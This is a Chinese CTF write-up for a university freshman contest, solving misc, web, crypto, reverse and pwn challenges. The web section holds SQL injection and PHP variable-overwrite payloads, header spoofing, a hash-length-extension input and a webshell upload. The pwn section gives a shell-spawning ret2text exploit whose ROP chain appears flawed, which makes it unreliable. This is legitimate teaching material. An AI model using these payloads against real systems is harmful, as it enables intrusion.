2023ZZU-Games Week1（新生赛）
目录
misc
1、看不见的字符
2、奇怪的符号
3、Ezpcap
4、垃圾邮件
web
1、easygame
2、babyphp
3、babyupload
4、easyphp
5、babysql
crypto
1、欢迎来到密码学
2、凯撒的栅栏
3、base一家
4、图像密码大全
5、怎么能少了我摩斯和维吉尼亚
6、RSA
reverse
1、re1
2、CCC
3、fakerandom
4、p04
5、世界最高のプログラマーです
pwn
1、nc一下！
2、ret2text
misc
1、看不见的字符
零宽字符隐写
直接在线解码链接：http://330k.github.io/misc_tools/unicode_steganography.html
解密原文：VmtaV2IySXhUa2RpUm1oT1ZqTm9jMVJWWkRSTlZuQklZMFZrYkdKVldsbFZNalZQV1ZaYWNXSkdiRlZXVjJoTVdWUktUbVZyTVVWTlJEQTk=
是个base64加密套娃，一直base64解密即可。0xGame{Inv1sible_W0rds}
2、奇怪的符号
题目说是海拉德大陆文字，hint：Langue Sheikah
直接搜Langue Sheikah
对应查找解密即可。
3、Ezpcap
发现有http流，直接过滤，发现
得到flag。
4、垃圾邮件
得到flag.txt和key.txt，flag.txt为垃圾邮件，我们先看key
颜文字加密
CTF常见编码及加解密（超全） - ruoli-s - 博客园 (cnblogs.com)
解密结果：++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>+++++.+..>>++++++.<+++++.<<++++++.>>+++++++.>----.<<----.++++++.>>--.<<<+++++++++.>+++++++++.>+.-----.<<++++++.++.>>++++.<<-.---------------.>+++.>+.<<-.<++++++.>+++++++++++++.>>.<<<-----.>+.-------.++++++++.<++++.>-----------.>-----------.>-.--------.++++++.<<++++.-------.-.<--.>>---------.++++.<<---.>---------.;
为brainfuck编码，继续解码：UVVveFlrRXpOamhUWlVGdmF6Sm1TMU5JYldjNGF3PT0=
bese64解码：QUoxYkEzNjhTZUFvazJmS1NIbWc4aw==
base64解码：AJ1bA368SeAok2fKSHmg8k（无奇怪字符，无“=”）推测base58
base58解码：KBADGM3XGBZEI=== base32解码：P@33w0rD（得到key）
接下来我们看看垃圾邮件解密，www.spammimic.com
选择密码解密模式，输入key和密文即可解密。
web
1、easygame
题目链接，需要以GET方式给Xp0int传参，为ZZU,直接url上加入/?Xp0int=ZZU
又要求给POST形式发送数据Xp0int=ZZUZZU,这里我们用burp抓包
change request method 为POST请求方式
You are not from local要求我们要用本地ip访问，burp直接X-Forwarded-For伪造ip地址
得到flag{Y0ur_pHp_1s_s1xsix6}
2、babyphp
";
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag']))#这里说明不管是POST还是GET都得带有flag
参数
{
exit($msg_giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($msg_getout);
}
#下面代码意义为变量覆盖。
foreach ($_POST as $key => $value)
{
$$key = $value;
}
foreach ($_GET as $key => $value)
{
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
Give me the flag!所以我们这里要绕过前两个if判断，从而执行
echo 'the flag is : ' . $flag;我们传入?flag=a,即可绕过前两个if判断。且$flag = $a，但a参数无内容，所以我们利用
foreach ($_GET as $key => $value) {
$$key = $$value;
}传入?a=flag,先将flag的值传给a，$a = $flag，再把a变量内容传回flag
则构造payload：?a=flag&flag=a
3、babyupload
一道简单的上传。查看源码：
对上传文件格式有要求。
在记事本写个一句话木马，改为a.jpg传上去。
那么我们抓包改一下名字。
回显得到flag。flag{w311_D0ne!}
4、easyphp
查看源码。
得到源码。
以下为有用信息：
1、secrect也就是密文的长度为10。
2、md5($serect,"admin","admin")的哈希。
3、用户名为admin。
整理下我们知道的数据：
1、secret的长度为10，再加上第一个admin就是15。
2、哈希值为ahash=f7fa8882c893a3f48f3cecdaa2f52102(Input Signature)。
3、data为用户名。
4、add数据为密码但不能为admin。
bf4b72a0f6e1ce5b69a20004082923b6===check
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00qqqqq将\x替换为%，，为password
5、babysql
输入1‘#有回显，继续order by 查列数。
1' oeder by 4#(开始报错，说明有三列)
继续1' union select 1,2,3#
直接1' union select 1,2,flag from flag#
flag{Union!_The_First_Step!}
crypto
1、欢迎来到密码学
直接运行即可
2、凯撒的栅栏
根据题目可以看出，该密码先栅栏加密，再凯撒加密。
kxsqwjziffwt}lh_w{g
然而，按照传统的栅栏密码发现解不出来。。。发现栅栏密码有两种（正常型和W型）
那这里正常型不通，那么试试W型解密。栅栏密码加密/解密【W型】 - 一个工具箱 - 好用的在线工具都在这里！ (atoolbox.net)
kqfl{hfwxjw_gwtzsi}解密后的结果，栏数为5。接着凯撒解码，直接CTFcracktools
flag{carser_bround}
3、base一家
R1kzRE1ZWldHRTNET04zQ0dZWkRNTUpYR00zREtNWldHTTJES1pSV0dJM0RDTlpUR1kyVEdNWlRHSTJXTU5SU0dZWVRPTVpXR1VaVENNWldHNVNBPT09PQ==（base64）
GY3DMYZWGE3DON3CGYZDMMJXGM3DKMZWGM2DKZRWGI3DCNZTGY2TGMZTGI2WMNRSGYYTOMZWGUZTCMZWG5SA====（base32）
666c61677b6261736536345f6261736533325f6261736531367d（base16）（部分解密网站只支持大写字母和数字的编码，换一个就好）
flag{base64_base32_base16}
4、图像密码大全
1、2、3、4分别对应猪圈密码，古埃及象形文字，外星人密码，和跳舞的小人。CTF中的一些图形密码 - Nuy0ah - 博客园 (cnblogs.com)
别的没什么说的，强调一下第四种，跳舞的小人。
可以看出每个字母，对应两种小人（拿旗/不拿旗）拿旗说明有其旁边有标点，旗子一侧有标点。
O和Z的不拿旗的小人是一样的，因为是最后了，右边是}，所以选O
5、怎么能少了我摩斯和维吉尼亚
下面字母即为摩斯密码解密结果。KEY is key，加密内容为PPYQ%u7bACVGMWI_KYVQO_ELN_ZGQILOVC%u7d
%u7b，%u7d为一种编码，具体目前不是很清楚。带入解密后PPYQ对应FLAG那么我们猜测%u7b，%u7d分别为{}，替换带入（%u7b字母会影响结果）整体解密，得
FLAG{WELCOME_MORSE_AND_VIGENERE}
6、RSA
下面是题目源码。条件很充分，我们只用求出私钥d即可求出明文m(然鹅，发现并非这么简单，hint提示：m>n)
在正常计算中，m=c^d (mod n)，m一定是小于n的。那这个m一定不是真正的m。我们称这个m为m1。
事实上，c^d(modn)=m1=m mod n
m = k*n+m1，k具体是何值呢，我们要爆破
#题目源码
from Crypto.Util.number import *
from flag import flag
assert len(flag) == 12
m=bytes_to_long(flag)
p=getPrime(47)
q=getPrime(47)
e=65537
n=p*q
c=pow(m,e,n)
print(f'n={n}\ne={e}\np={p}\nc={c}')
print(m)
# n=12833505850562334375836275439
# e=65537
# p=126501244242767
# c=6714421266374305891138978490下面我们正常解一下。得到m1
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author: bug time:2023/7/28
from Crypto.Util.number import *
n = 12833505850562334375836275439
#m1=6031483267629685232852848031(很明显m1接下来我们自己出个题，来个测试。
#测试题
from Crypto.Util.number import *
import uuid
import gmpy2 as gp
flag="flag{"+str(uuid.uuid4())+"}"
print(len(flag))
m=bytes_to_long(flag.encode())
p=getPrime(160)
q=gp.next_prime(p)
e=65537
n=p*q
c=pow(m,e,n)
print(f'p={p}\nq={q}\ne={e}\nn={n}\nc={c}\n')
print(f'm={m}')
'''
p=1383650342047432505851887355284546924996362705189
q=1383650342047432505851887355284546924996362705317
e=65537
n=1914488269047976969890011723581267048376185374737666370747489469252131214558858223963076553789913
c=665241326109699129175291223255178546868604835009606853206310291652758043650145383869257598358829
m=56006392793407543643975108120140505915066015977745558868872189419660011398826156185917502908985324669
'''from Crypto.Util.number import *
p=1052843335440994388378906120402177694603271791553
q=1052843335440994388378906120402177694603271791697
e=65537
n=1108479088982518230348741577493966099993435530687651211627749006776557042385918880070437420135441
c=398015521470345569527874111494800756800866693755616037569053553913572047764916535926145607300256
m=56006392793429420449633628222928875807764951017171271119366621897002607463270003398797615323722364285
#1、验证m1=m mod n
phi=(p-1)*(q-1)
d=inverse(e,phi)
m1=pow(c,d,n)
print(m1)
print(m1==m%n)#返回值为true
#2、确定爆破k的范围
m1=486822587686861263460020046238605596620829177693651874603329617062896721451983238764671379207760
k1=(m-m1)//n
k2=(m//n)
print(k1)
print(k2)#初步确定k值为100000以内
print(m//n*n+m1==m)#返回值为true已知正确m的计算方法和k值爆破范围，我们直接写本道题的exp.py
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author: bug time:2023/7/28
from Crypto.Util.number import *
import libnum
n = 12833505850562334375836275439
#m1=6031483267629685232852848031
e = 65537
p = 126501244242767
c = 6714421266374305891138978490
q = n//p
phi = (p-1)*(q-1)
d = inverse(e,phi)
m1 = pow(c,d,n)
print(m1)
for k in range(100000):
flag=libnum.n2s(k*n+m1)
if b"flag" in flag:
exit(flag)
'''
6031483267629685232852848031
b'flag{rsa_is}'
'''reverse
1、re1
拿到.exe拖到ida里直接shift+f12查看字符串，get flag
2、CCC
先放进ida64，F5反编译查看代码。
当if里面的条件为假，即( arr[i] == (char)(Str[i] ^ 0x34) + 900 )时
printf("you are right!");
str即为flag，我们只需或去arr的值并反向异或即可得到。
双击后发现arr内容，但看不懂，选中后面内容shift+E
因为我们之后要减去900，所以输出initialized C variable的内容，会得到ascii编码。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author: bug time:2023/7/24
result = [1022,1003,1003,1019,996,1014,979,976,904,970,1007,905,971,1007,971,904,1007,981,985,971,977,973,0,0,0,0,0,0,0,0,0,0]
for i in range(len(result)):
result[i] = result[i] - 900
print(result)
for i in range(len(result)):
print(chr(result[i] ^ 0x34),end = '')直接上代码。NSSCTF{x0r_1s_s0_easy}
3、fakerandom
import random
flag = 'xxxxxxxxxxxxxxxxxxxx'
random.seed(1)
l = []
for i in range(4):
l.append(random.getrandbits(8))
result=[]
for i in range(len(l)):
random.seed(l[i])
for n in range(5):
result.append(ord(flag[i*5+n])^random.getrandbits(8))
print(result)
# result = [201, 8, 198, 68, 131, 152, 186, 136, 13, 130, 190, 112, 251, 93, 212, 1, 31, 214, 116, 244]
#####将result替换，result[]^random.getrandbits(8)#####result = [201, 8, 198, 68, 131, 152, 186, 136, 13, 130, 190, 112, 251, 93, 212, 1, 31, 214, 116, 244]
for i in range(len(l)):
random.seed(l[i])
for n in range(5):
flag += chr(result[i*5+n]^random.getrandbits(8))
print(flag)NSSCTF{FakeE_random}
4、p04
hint:upx壳
我们直接对文件upx脱壳
脱壳后再次拖入ida中查看
这里重要讲两点：
1、*((_BYTE *)&v4 + i) ： (_BYTE*)&v4把_int64类型的v4并以它为首地址转化为byte类型，此时时指针，然后指针加上i值，最后*变成一个实际值，实际上就是一个字符串数组。
2、v4、v5、直到v10，这一堆。i64，对应着_int64，表示long long类型。我们可以选中，shift+E，将这么一长串数字导出为C unsigned char array (decimal)。方便我们后续异或。
红方框括的不是只有v4吗，为什么说v4、v5到v10？
我们看一下栈中变量结构。从上到下一次对应着v4 - v10。因为i <= 38，当v4查找完后就依次v5，v6....
到这里我们就可以异或得到v11了，即为flag。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author: bug time:2023/7/24
result = [76, 81, 81, 65, 86, 68, 121, 87, 82, 90, 93, 51, 113, 93, 122, 109, 112, 102, 93, 117, 99, 123, 93, 118, 109, 93, 103, 108, 97, 112, 123, 114, 118, 93, 100, 110, 99, 101, 127]
for i in range(len(result)):
print(chr(result[i] ^ 2),end='') 
NSSCTF{UPX_1s_xord_way_to_encrypt_flag}
5、世界最高のプログラマーです
这个没什么可说的。。。
LitCTF{I_am_the_best_programmer_ever}
pwn
1、nc一下！
nc 43.143.231.4 10101
2、ret2text
浏览发现栈溢出漏洞。再查看字符串，发现
那么现在，我们只需利用栈溢出漏洞执行system("/bin/sh;")即可。
调试测得偏移量0x20。别的不多说，上exp。
from pwn import *
p = process('./main')
#p = remote('43.143.231.4',10102)
context.log_level = 'debug'
context.arch = 'amd64'
pop_rdi = 0x004012ab
binsh = 0x00402011
system = 0x00401040
payload ='a'*(0x20+0x8)+p64(pop_rdi)+p64(system)
p.sendlineafter("Welcome 0xGame,Leave U2 Name?",payload)
p.interactive()
~
~